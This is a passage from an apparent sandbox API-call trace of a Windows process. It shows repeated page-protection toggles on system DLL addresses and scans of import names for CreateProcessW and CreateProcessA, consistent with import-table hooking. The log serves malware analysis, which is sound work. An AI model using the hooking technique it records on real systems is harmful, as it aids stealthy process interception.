(HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e6e8 [0081.896] VirtualProtect (in: lpAddress=0x764e1234, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.896] VirtualProtect (in: lpAddress=0x764e1234, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.896] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e720 [0081.896] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754e0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x754e0000, AllocationBase=0x754e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.896] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.896] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e720 [0081.897] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75050000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x75050000, AllocationBase=0x75050000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.897] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.897] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e720 [0081.897] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ea0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74ea0000, AllocationBase=0x74ea0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.897] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.897] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e720 [0081.897] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74e90000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74e90000, AllocationBase=0x74e90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.897] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.897] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e720 [0081.897] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76c00000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76c00000, AllocationBase=0x76c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.897] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.897] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e720 [0081.898] VirtualProtect (in: lpAddress=0x76c10408, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.898] VirtualProtect (in: lpAddress=0x76c10408, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.898] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.898] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76850000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76850000, AllocationBase=0x76850000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.898] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.898] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.899] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754d0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x754d0000, AllocationBase=0x754d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.899] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.899] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.899] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x757f0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x757f0000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.899] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.899] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.899] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d00000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76d00000, AllocationBase=0x76d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.899] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.899] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.899] lstrcmpiA (lpString1="WNetGetResourceInformationA", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="WNetGetResourceInformationW", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="CreateFormatEnumerator", lpString2="CreateProcessW") returned -1 [0081.900] lstrcmpiA (lpString1="RegisterFormatEnumerator", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHCreateItemFromIDList", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHGetDesktopFolder", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHGetDataFromIDListW", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHGetInstanceExplorer", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHEvaluateSystemCommandTemplate", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="ShellExecuteExW", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHParseDisplayName", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHBindToParent", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="SHChangeNotify", lpString2="CreateProcessW") returned 1 [0081.900] lstrcmpiA (lpString1="PSPropertyBag_ReadPOINTS", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WritePOINTS", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadRECTL", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteRECTL", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadStream", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteStream", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadUnknown", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteUnknown", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_Delete", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadGUID", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteGUID", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadPropertyKey", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WritePropertyKey", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSGetPropertyKeyFromName", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="InitPropVariantFromStringAsVector", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WritePOINTL", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PropVariantToStringAlloc", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSGetPropertyDescription", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PropVariantChangeType", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="VariantToPropVariant", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PropVariantToVariant", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadPOINTL", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteBOOL", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadBOOL", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteULONGLONG", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadULONGLONG", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteDWORD", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadDWORD", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteLONG", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadLONG", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteSHORT", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadSHORT", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteInt", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadInt", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteBSTR", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_WriteStr", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadStrAlloc", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadStr", lpString2="CreateProcessW") returned 1 [0081.901] lstrcmpiA (lpString1="PSPropertyBag_ReadBSTR", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="PSPropertyBag_ReadType", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="PropVariantToBSTR", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="PSCreateMemoryPropertyStore", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="SaferiIsExecutableFileType", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="RegQueryValueW", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="GetCurrentHwProfileW", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="SaferiSearchMatchingHashRules", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="RegSetValueW", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="GetUserNameW", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="RegEnumKeyA", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="CoCreateInstance", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CoTaskMemFree", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CoUninitialize", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CreateBindCtx", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="PropVariantClear", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="CoGetMalloc", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CoTaskMemAlloc", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CoInitializeEx", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="OleInitialize", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="OleUninitialize", lpString2="CreateProcessW") returned 1 [0081.902] lstrcmpiA (lpString1="CLSIDFromString", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CLSIDFromProgID", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CoWaitForMultipleHandles", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="ApphelpCheckShellObject", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertGetNameStringW", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertFindCertificateInStore", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertCloseStore", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertOpenStore", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertGetEnhancedKeyUsage", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertOIDToAlgId", lpString2="CreateProcessW") returned -1 [0081.902] lstrcmpiA (lpString1="CertDuplicateCertificateContext", lpString2="CreateProcessW") returned -1 [0081.903] lstrcmpiA (lpString1="CertFreeCertificateContext", lpString2="CreateProcessW") returned -1 [0081.903] lstrcmpiA (lpString1="CertVerifyCertificateChainPolicy", lpString2="CreateProcessW") returned -1 [0081.903] lstrcmpiA (lpString1="CryptDecodeObject", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="CertGetCertificateContextProperty", lpString2="CreateProcessW") returned -1 [0081.903] lstrcmpiA (lpString1="CryptCATAdminAcquireContext", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="CryptCATAdminReleaseContext", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="WinVerifyTrust", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="CryptCATAdminEnumCatalogFromHash", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="CryptCATCatalogInfoFromContext", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="CryptCATAdminReleaseCatalogContext", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="WTHelperGetFileHash", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="CryptCATAdminCalcHashFromFileHandle", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="WTHelperProvDataFromStateData", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="WTHelperGetProvSignerFromChain", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="SetupDiDestroyDeviceInfoList", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="SetupDiGetDeviceInterfaceDetailW", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="SetupDiEnumDeviceInterfaces", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="SetupDiGetClassDevsW", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="ExpandEnvironmentStringsForUserW", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="ExpandEnvironmentStringsForUserA", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="GetFileVersionInfoSizeA", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="VerQueryValueA", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="VerQueryValueW", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="GetFileVersionInfoW", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="GetFileVersionInfoA", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="GetFileVersionInfoByHandle", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="GetFileVersionInfoSizeW", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="SLGetWindowsInformationDWORD", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="NetGetJoinInformation", lpString2="CreateProcessW") returned 1 [0081.903] lstrcmpiA (lpString1="NetApiBufferFree", lpString2="CreateProcessW") returned 1 [0081.903] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274e758 | out: hHeap=0x2350000) returned 1 [0081.903] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.903] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessA") returned 1 [0081.903] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessA") returned 1 [0081.903] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessA") returned 1 [0081.903] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0081.903] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessA") returned 1 [0081.903] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessA") returned 1 [0081.903] lstrcmpiA (lpString1="InterlockedIncrement", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0081.904] lstrcmpiA (lpString1="GetModuleHandleExA", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="InterlockedDecrement", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="MulDiv", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="LCIDToLocaleName", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetProcessHeap", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="OpenEventW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="LockFileEx", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="UnlockFileEx", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="SetFileInformationByHandle", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="ReplaceFileW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetVolumeInformationByHandleW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="SetFilePointer", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="LocalSize", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="CreateProcessA") returned 1 [0081.904] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0081.905] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="ReleaseSRWLockShared", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0081.905] lstrcmpiA (lpString1="GetPrivateProfileStringA", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="FormatMessageW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0081.905] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0081.905] lstrcmpiA (lpString1="InitializeSRWLock", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="LocalReAlloc", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="DeviceIoControl", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0081.905] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0081.905] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="SetFileAttributesW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0081.906] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="lstrcmpW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="lstrcmpiW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0081.906] lstrcmpiA (lpString1="GetEnvironmentVariableA", 